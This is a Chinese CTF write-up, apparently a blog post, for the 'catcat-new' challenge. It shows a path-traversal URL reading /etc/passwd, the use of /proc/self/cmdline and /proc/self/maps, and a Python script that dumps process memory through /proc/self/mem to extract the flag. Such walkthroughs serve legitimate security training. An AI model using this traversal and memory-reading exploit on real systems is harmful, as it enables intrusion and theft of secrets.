CTF-catcat-new

先判断这个题目是不是关于任意文件读取漏洞,读一个Linux都有的文件/etc/passwd

http://61.147.171.105:60014/info?file=../../../../../etc/passwd

../../../../../etc/passwd 是一个相对路径,用于访问文件系统中的 /etc/passwd 文件。


通过抓包发现Response中的Server是python,那说明该网站是有python运行的.既然是python,当前进程肯定是由python xxx.py启动的,只要能知道当时的命令是什么,就能获取xxx.py的名字,进而读取源码。linux确实有这么个文件,/proc/self/cmdline,用于获取当前启动进程的完整命令。


大部分的python网站脚本名都是app.py

/proc/self/maps来查看当前进程的内存映射情况


取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag.


import requests
import re

baseUrl = "http://61.147.171.105:58344/info?file=../../../../.."

if __name__ == "__main__":
    url = baseUrl + "/proc/self/maps"
    memInfoList = requests.get(url).text.split("\\n")
    mem = ""
    for i in memInfoList:
        memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
        if memAddress:
            start = int(memAddress.group(1), 16)
            end = int(memAddress.group(2), 16)
            infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)
            mem = requests.get(infoUrl).text
            if re.findall(r"{[\w]+}", mem):
                print(re.findall(r"\w+{\w+}", mem))

相关推荐

  1. CTF-catcat-new

    2024-05-09 22:26:01       38 阅读
  2. .Net--CLS,CTS,CLI,BCL,FCL

    2024-05-09 22:26:01       27 阅读
  3. <span style='color:red;'>CTF</span> 7

    CTF 7

    2024-05-09 22:26:01      52 阅读
  4. <span style='color:red;'>CTF</span> 6

    CTF 6

    2024-05-09 22:26:01      60 阅读
  5. JIS-<span style='color:red;'>CTF</span>

    JIS-CTF

    2024-05-09 22:26:01      64 阅读
  6. <span style='color:red;'>ctf</span>题目

    ctf题目

    2024-05-09 22:26:01      38 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-05-09 22:26:01       99 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-05-09 22:26:01       107 阅读
  3. 在Django里面运行非项目文件

    2024-05-09 22:26:01       90 阅读
  4. Python语言-面向对象

    2024-05-09 22:26:01       98 阅读

热门阅读

  1. Kubernetes之Headless Services

    2024-05-09 22:26:01       30 阅读
  2. 每日一练 | 华为认证真题练习Day228

    2024-05-09 22:26:01       34 阅读
  3. 在PyCharm中自动添加文件头注释

    2024-05-09 22:26:01       29 阅读
  4. 嵌入式学习——51单片机——day16

    2024-05-09 22:26:01       32 阅读
  5. 【QT教程】QT6硬件数据库编程 QT硬件数据库

    2024-05-09 22:26:01       28 阅读
  6. 子集II(力扣90)

    2024-05-09 22:26:01       32 阅读
  7. [力扣题解]131. 分割回文串

    2024-05-09 22:26:01       36 阅读
  8. 【收录 Hello 算法】3.2 基本数据类型

    2024-05-09 22:26:01       36 阅读
  9. 闰年的数目

    2024-05-09 22:26:01       36 阅读